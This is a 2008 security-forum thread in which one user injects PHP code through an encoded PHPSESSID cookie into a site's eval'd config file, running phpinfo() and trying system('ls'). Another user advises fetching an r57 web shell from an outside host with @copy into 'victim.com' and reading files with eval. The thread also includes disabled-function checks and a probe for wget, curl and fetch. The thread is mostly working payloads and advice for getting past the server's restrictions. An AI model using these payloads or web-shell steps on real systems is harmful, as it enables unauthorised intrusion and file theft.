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Full disclosure |
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IT Security and Insecurity Portal |
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I need a little help |
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 Posted: Thu May 01, 2008 4:32 am |
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| julioisaias |
| Valuable expert |
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| Joined: Jan 25, 2008 |
| Posts: 50 |
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I need help for this problem.
PHP Execution in cookie
----------------------------
1. Original Cookie:
PHPSESSID=e2123291ddada51f7702819e2604e38b
Result: Normal Page......OK 
2. Malicious command in Cookie:
PHPSESSID='%3Bphpinfo%28%29%3Bexit%3B// <--- ';phpinfo();exit;// (encoded)
Result: PHP CONFIGURATION PAGE......OK
3. Other malicious command in cookie:
PHPSESSID='%3Bsystem%28%27ls%27%29%3Bexit%3B// <--- ';system("ls");exit;// (encoded)
Result: Warning: system() has been disabled for security reasons in /home/web/www/config/config.php(241) : eval()'d code on line 1 
Some another way?
Best Regards. |
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_________________
I study enough to make the rest a result. |
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| Posted: Thu May 01, 2008 5:03 am |
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| pexli |
| Valuable expert |
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| Joined: May 24, 2007 |
| Posts: 665 |
| Location: Bulgaria |
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Look in phpinfo.
Safe Mode is ON?
mod_security is installed?
disabled functions? |
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| Posted: Thu May 01, 2008 5:39 am |
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| julioisaias |
| Valuable expert |
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| Joined: Jan 25, 2008 |
| Posts: 50 |
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Thanks Koko.
safe_mode = Off
register_globals=Off
allow_url_fopen=On
allow_url_include=On
Disable functions= dl, exec, passthru, popen, proc_open, proc_close, shell_exec, system, posix_getgrgid, posix_getgrnam, posix_getpwname, posix_getpwuid, posix_kill, syslog,
file_uploads=On
magic_quotes_gpc=Off
magic_quotes_runtime=Off
magic_quotes_sybase=Off
Is it a possible SQL Injection?
Best Regards. |
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_________________
I study enough to make the rest a result. |
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| Posted: Thu May 01, 2008 8:14 am |
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| pexli |
| Valuable expert |
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| Joined: May 24, 2007 |
| Posts: 665 |
| Location: Bulgaria |
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If you have r57 web shell upload in some where.Next
@copy('http://yoursite.com/r57.txt','/full/path/to/victim.com/shell.php');
In r57 use eval() function to read files. |
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| Posted: Thu May 01, 2008 9:10 am |
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| julioisaias |
| Valuable expert |
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| Joined: Jan 25, 2008 |
| Posts: 50 |
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Thank you for your help, but I believe that I had bad luck.
Warning: copy(/home/web/www/shell.php) [function.copy]: failed to open stream: Permission denied in /home/web/www/config/config.php(241) : eval()'d code on line 1
Permission denied.... 
Can it be possible?
Best Regards. |
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_________________
I study enough to make the rest a result. |
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| Posted: Thu May 01, 2008 9:47 am |
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| pexli |
| Valuable expert |
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| Joined: May 24, 2007 |
| Posts: 665 |
| Location: Bulgaria |
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OK.
run command which wget curl fetch |
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www.waraxe.us Forum Index -> Shell commands injection
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